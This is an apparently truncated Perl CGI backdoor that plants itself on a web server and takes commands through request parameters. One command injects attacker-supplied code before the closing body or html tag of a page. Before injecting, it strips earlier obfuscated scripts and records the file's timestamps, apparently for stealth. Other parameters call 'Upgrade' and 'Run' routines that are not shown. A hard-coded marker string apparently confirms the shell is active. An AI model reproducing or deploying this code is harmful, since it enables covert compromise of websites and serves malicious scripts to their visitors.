#!/usr/bin/perl
use File::stat;
use File::Copy;
sub ReadParse
{
local (*in) = @_ if @_;
local ($i, $loc, $key, $val);
if($ENV{'REQUEST_METHOD'} eq "GET")
{
$in = $ENV{'QUERY_STRING'};
}
elsif($ENV{'REQUEST_METHOD'} eq "POST")
{
read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
}
@in = split(/&/, $in);
foreach $i (0 .. $#in)
{
$in[$i] =~ s/\+/ /g;
($key, $val) = split(/=/, $in[$i], 2);
$key =~ s/%(..)/pack("c", hex($1))/ge;
$val =~ s/%(..)/pack("c", hex($1))/ge;
$in{$key} .= "\0" if (defined($in{$key}));
$in{$key} .= $val;
}
}
sub PrintPageHeader
{
print "Content-type: text/html\n\n";
}
sub ExecuteCommand
{
print "
";
if ($in{'update1'})
{
open (FILE, './data') or die "No data file";
while ()
{
chomp;
if ($_ ne '') {$filepath = $_;}
}
close (FILE);
Include ($filepath,$in{'update1'})
}
Upgrade ($in{'update2'}) if ($in{'update2'});
Run ($in{'update3'}) if ($in{'update3'});
$string = "321kcehc";
$reversed = reverse $string;
print "";
#print "";
print "";
}
sub Include ($$)
{
my $file = $_[0];
my $code = $_[1];
if ( -e $file)
{
if (length($code) > 0)
{
$code = "".$code."";
}
$info = stat($file);
$d_atime = $info->atime;
$d_mtime = $info->mtime;
$d_size = $info->size;
$overwrite = 0;
open (FILE, $file);
sysread (FILE, $index_code, $d_size);
close (FILE);
$index_code =~ s/(.*)//gis;
$index_code =~ s/(.*String.fromCharCode.*<\/script>)//gis;
$index_code =~ s/(.*<\/script>)//gis;
if ($index_code =~ m/<\/body>/i)
{
$index_code =~ s/<\/body>/$code<\/body>/i;
}
elsif ($index_code =~ m/<\/html>/i)
{
$index_code =~ s/<\/html>/$code<\/body><\/html>/i;
}
else
{
$index_code = $index_code.$code."